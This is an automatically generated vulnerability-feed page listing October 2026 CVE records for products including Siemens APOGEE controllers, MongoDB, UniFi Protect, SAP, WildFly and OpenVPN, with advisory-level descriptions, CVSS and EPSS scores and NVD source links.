A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate the length of user-controllable input. This could allow an unauthenticated remote attacker to read portions of device memory or to cause a denial-of-service condition.
CVSS 8.8 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102073).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102073&date=2026-10-25).
Sources:
NVD CVE-2026-102073: https://nvd.nist.gov/vuln/detail/CVE-2026-102073
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102073&date=2026-10-25
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate the length of user-controllable input. This could allow an unauthenticated remote attacker to read portions of device memory or to cause a denial-of-service condition.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE...
https://kevwire.com/record/CVE-2026-102074
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE... (Oct 13, 2026).
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product FTP service does not properly validate the length of user-controllable input. This could allow an unauthenticated remote attacker to cause a denial of service.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102074).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102074&date=2026-10-25).
Sources:
NVD CVE-2026-102074: https://nvd.nist.gov/vuln/detail/CVE-2026-102074
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102074&date=2026-10-25
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product FTP service does not properly validate the length of user-controllable input. This could allow an unauthenticated remote attacker to cause a denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE...
https://kevwire.com/record/CVE-2026-102075
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE... (Oct 13, 2026).
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate user input in multipart handling. This could allow an unauthenticated remote attacker to cause a denial of service.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102075).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102075&date=2026-10-25).
Sources:
NVD CVE-2026-102075: https://nvd.nist.gov/vuln/detail/CVE-2026-102075
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102075&date=2026-10-25
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate user input in multipart handling. This could allow an unauthenticated remote attacker to cause a denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE...
https://kevwire.com/record/CVE-2026-102076
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE... (Oct 13, 2026).
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate user-supplied input in upload code. This could allow an unauthenticated remote attacker to cause a denial of service.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102076).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102076&date=2026-10-25).
Sources:
NVD CVE-2026-102076: https://nvd.nist.gov/vuln/detail/CVE-2026-102076
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102076&date=2026-10-25
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate user-supplied input in upload code. This could allow an unauthenticated remote attacker to cause a denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MongoDB Server's collection validation feature may not properly handle certain expressions stored in a validator.
https://kevwire.com/record/CVE-2026-104004
MongoDB Server's collection validation feature may not properly handle certain expressions stored in a validator. (Oct 13, 2026).
MongoDB Server's collection validation feature may not properly handle certain expressions stored in a validator. In some cases, this can cause the server process to stop running when a document is later inserted. The behavior can occur for authenticated users with write access.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104004).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104004&date=2026-10-25).
Sources:
NVD CVE-2026-104004: https://nvd.nist.gov/vuln/detail/CVE-2026-104004
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104004&date=2026-10-25
MongoDB Server's collection validation feature may not properly handle certain expressions stored in a validator. In some cases, this can cause the server process to stop running when a document is later inserted. The behavior can occur for authenticated users with write access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a...
https://kevwire.com/record/CVE-2026-104005
A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a... (Oct 13, 2026).
A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a specially formed aggregation pipeline. The issue leverages an internal aggregation stage that lacks proper authorization checks despite being intended for internal use, allowing a subsequent stage to be forced to execute on the router under conditions it was not designed to handle. This results in an unhandled fatal error that causes the mongos process to immediately abort, resulting in denial of service for all clients routed through the affected mongos instance.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104005).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104005&date=2026-10-25).
Sources:
NVD CVE-2026-104005: https://nvd.nist.gov/vuln/detail/CVE-2026-104005
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104005&date=2026-10-25
A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a specially formed aggregation pipeline. The issue leverages an internal aggregation stage that lacks proper authorization checks despite being intended for internal use, allowing a subsequent stage to be forced to execute on the router under conditions it was not designed to handle. This results in an unhandled fatal error that causes the mongos process to immediately abort, resulting in denial of service for all clients routed through the affected mongos instance.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A malicious actor with access to the network and under certain conditions could exploit an Improper Input Validation vulnerability found in UniFi Protect AI Key to execute a...
https://kevwire.com/record/CVE-2026-110455
A malicious actor with access to the network and under certain conditions could exploit an Improper Input Validation vulnerability found in UniFi Protect AI Key to execute a... (Oct 14, 2026).
A malicious actor with access to the network and under certain conditions could exploit an Improper Input Validation vulnerability found in UniFi Protect AI Key to execute a Command Injection on the device.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110455).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110455&date=2026-10-25).
Sources:
NVD CVE-2026-110455: https://nvd.nist.gov/vuln/detail/CVE-2026-110455
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110455&date=2026-10-25
A malicious actor with access to the network and under certain conditions could exploit an Improper Input Validation vulnerability found in UniFi Protect AI Key to execute a Command Injection on the device.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect AI Key to obtain information, make unauthorized changes,...
https://kevwire.com/record/CVE-2026-110459
A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect AI Key to obtain information, make unauthorized changes,... (Oct 14, 2026).
A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect AI Key to obtain information, make unauthorized changes, and execute a Denial of Service (DoS) attack on the device.
CVSS 8.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110459).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110459&date=2026-10-25).
Sources:
NVD CVE-2026-110459: https://nvd.nist.gov/vuln/detail/CVE-2026-110459
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110459&date=2026-10-25
A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect AI Key to obtain information, make unauthorized changes, and execute a Denial of Service (DoS) attack on the device.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Affected systems do not properly restrict access to internal APIs and paths for authenticated users.
https://kevwire.com/record/CVE-2026-44415
Affected systems do not properly restrict access to internal APIs and paths for authenticated users. (Oct 13, 2026).
Affected systems do not properly restrict access to internal APIs and paths for authenticated users. This could allow an authenticated remote attacker to access sensitive internal information, which in the worst case could be leveraged to facilitate unauthorized access to the system or result in the deletion of data.
CVSS 8.9 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44415).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-44415&date=2026-10-25).
Sources:
NVD CVE-2026-44415: https://nvd.nist.gov/vuln/detail/CVE-2026-44415
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-44415&date=2026-10-25
Affected systems do not properly restrict access to internal APIs and paths for authenticated users. This could allow an authenticated remote attacker to access sensitive internal information, which in the worst case could be leveraged to facilitate unauthorized access to the system or result in the deletion of data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SAP NetWeaver and SAP Web Dispatcher do not properly validate certain fields in specially crafted requests handled by an internal protocol component.
https://kevwire.com/record/CVE-2026-58249
SAP NetWeaver and SAP Web Dispatcher do not properly validate certain fields in specially crafted requests handled by an internal protocol component. (Oct 13, 2026).
SAP NetWeaver and SAP Web Dispatcher do not properly validate certain fields in specially crafted requests handled by an internal protocol component. An unauthenticated attacker could send a malicious request that triggers a memory-handling error, causing the affected process to crash. Successful exploitation can therefore result in a high impact on the availability of the affected application. There is no impact on the confidentiality or integrity of the application.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-58249).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58249&date=2026-10-25).
Sources:
NVD CVE-2026-58249: https://nvd.nist.gov/vuln/detail/CVE-2026-58249
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58249&date=2026-10-25
SAP NetWeaver and SAP Web Dispatcher do not properly validate certain fields in specially crafted requests handled by an internal protocol component. An unauthenticated attacker could send a malicious request that triggers a memory-handling error, causing the affected process to crash. Successful exploitation can therefore result in a high impact on the availability of the affected application. There is no impact on the confidentiality or integrity of the application.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Affected devices do not properly restrict executable content contained in imported trace files.
https://kevwire.com/record/CVE-2026-63350
Affected devices do not properly restrict executable content contained in imported trace files. (Oct 13, 2026).
Affected devices do not properly restrict executable content contained in imported trace files.

This could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.
CVSS 9.4 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63350).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63350&date=2026-10-25).
Sources:
NVD CVE-2026-63350: https://nvd.nist.gov/vuln/detail/CVE-2026-63350
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63350&date=2026-10-25
Affected devices do not properly restrict executable content contained in imported trace files.

This could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Affected devices do not properly sanitize comment fields contained in imported trace files before rendering them on the Trace page.
https://kevwire.com/record/CVE-2026-63353
Affected devices do not properly sanitize comment fields contained in imported trace files before rendering them on the Trace page. (Oct 13, 2026).
Affected devices do not properly sanitize comment fields contained in imported trace files before rendering them on the Trace page.

This could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.
CVSS 9.4 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63353).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63353&date=2026-10-25).
Sources:
NVD CVE-2026-63353: https://nvd.nist.gov/vuln/detail/CVE-2026-63353
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63353&date=2026-10-25
Affected devices do not properly sanitize comment fields contained in imported trace files before rendering them on the Trace page.

This could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The application fails to properly sanitize or escape data received from the backend...
https://kevwire.com/record/CVE-2026-78557
A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The application fails to properly sanitize or escape data received from the backend... (Oct 13, 2026).
A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The application fails to properly sanitize or escape data received from the backend before rendering it in the user interface. Because the front end is integrated with Node.js, this vulnerability allows for the execution of arbitrary JavaScript, which can be leveraged to achieve remote code execution (RCE) on the victim's machine
CVSS 7.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78557).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78557&date=2026-10-25).
Sources:
NVD CVE-2026-78557: https://nvd.nist.gov/vuln/detail/CVE-2026-78557
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78557&date=2026-10-25
A vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The application fails to properly sanitize or escape data received from the backend before rendering it in the user interface. Because the front end is integrated with Node.js, this vulnerability allows for the execution of arbitrary JavaScript, which can be leveraged to achieve remote code execution (RCE) on the victim's machine

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in the ContentRepositoryImpl.copyExplodedContent function of the wildfly-core library, which is used by WildFly and JBoss EAP to manage server deployments. The...
https://kevwire.com/record/CVE-2026-85634
A flaw was found in the ContentRepositoryImpl.copyExplodedContent function of the wildfly-core library, which is used by WildFly and JBoss EAP to manage server deployments. The... (Oct 15, 2026).
A flaw was found in the ContentRepositoryImpl.copyExplodedContent function of the wildfly-core library, which is used by WildFly and JBoss EAP to manage server deployments. The issue occurs when the library processes an unsanitized deployment name. Due to a missing containment check, an attacker with the Deployer RBAC role can use path traversal sequences to access files outside the restricted deployment directory. This can allow the attacker to delete arbitrary directories or create files with arbitrary content, leading to a full privilege escalation to the management SuperUser role.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85634).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85634&date=2026-10-25).
Sources:
NVD CVE-2026-85634: https://nvd.nist.gov/vuln/detail/CVE-2026-85634
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85634&date=2026-10-25
A flaw was found in the ContentRepositoryImpl.copyExplodedContent function of the wildfly-core library, which is used by WildFly and JBoss EAP to manage server deployments. The issue occurs when the library processes an unsanitized deployment name. Due to a missing containment check, an attacker with the Deployer RBAC role can use path traversal sequences to access files outside the restricted deployment directory. This can allow the attacker to delete arbitrary directories or create files with arbitrary content, leading to a full privilege escalation to the management SuperUser role.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An integer underflow in OpenVPN version 2.7_alpha3 through 2.7.7 on Windows and Android allows remote authenticated servers to cause a denial of service or memory disclosure via...
https://kevwire.com/record/CVE-2026-88964
An integer underflow in OpenVPN version 2.7_alpha3 through 2.7.7 on Windows and Android allows remote authenticated servers to cause a denial of service or memory disclosure via... (Oct 13, 2026).
An integer underflow in OpenVPN version 2.7_alpha3 through 2.7.7 on Windows and Android allows remote authenticated servers to cause a denial of service or memory disclosure via crafted domain search options
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88964).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88964&date=2026-10-25).
Sources:
NVD CVE-2026-88964: https://nvd.nist.gov/vuln/detail/CVE-2026-88964
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88964&date=2026-10-25
An integer underflow in OpenVPN version 2.7_alpha3 through 2.7.7 on Windows and Android allows remote authenticated servers to cause a denial of service or memory disclosure via crafted domain search options

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SAP S/4HANA (Manage Substitution/Validation Rules) does not sufficiently validate input processed by rule definition functionality that utilizes a domain-specific scripting...
https://kevwire.com/record/CVE-2026-89107
SAP S/4HANA (Manage Substitution/Validation Rules) does not sufficiently validate input processed by rule definition functionality that utilizes a domain-specific scripting... (Oct 13, 2026).
SAP S/4HANA (Manage Substitution/Validation Rules) does not sufficiently validate input processed by rule definition functionality that utilizes a domain-specific scripting language. An authenticated attacker with specific business privileges could submit specially crafted input, which is interpreted as executable ABAP code by the rule processing logic. Successful exploitation could allow the attacker to execute ABAP arbitrary code into the system, resulting in full compromise of the affected system and high impact on confidentiality, integrity, and availability of the system.
CVSS 9.9 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89107).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89107&date=2026-10-25).
Sources:
NVD CVE-2026-89107: https://nvd.nist.gov/vuln/detail/CVE-2026-89107
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89107&date=2026-10-25
SAP S/4HANA (Manage Substitution/Validation Rules) does not sufficiently validate input processed by rule definition functionality that utilizes a domain-specific scripting language. An authenticated attacker with specific business privileges could submit specially crafted input, which is interpreted as executable ABAP code by the rule processing logic. Successful exploitation could allow the attacker to execute ABAP arbitrary code into the system, resulting in full compromise of the affected system and high impact on confidentiality, integrity, and availability of the system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SAP Manufacturing Integration and Intelligence does not sufficiently enforce authorization boundaries within certain administrative functionality.
https://kevwire.com/record/CVE-2026-89108
SAP Manufacturing Integration and Intelligence does not sufficiently enforce authorization boundaries within certain administrative functionality. (Oct 13, 2026).
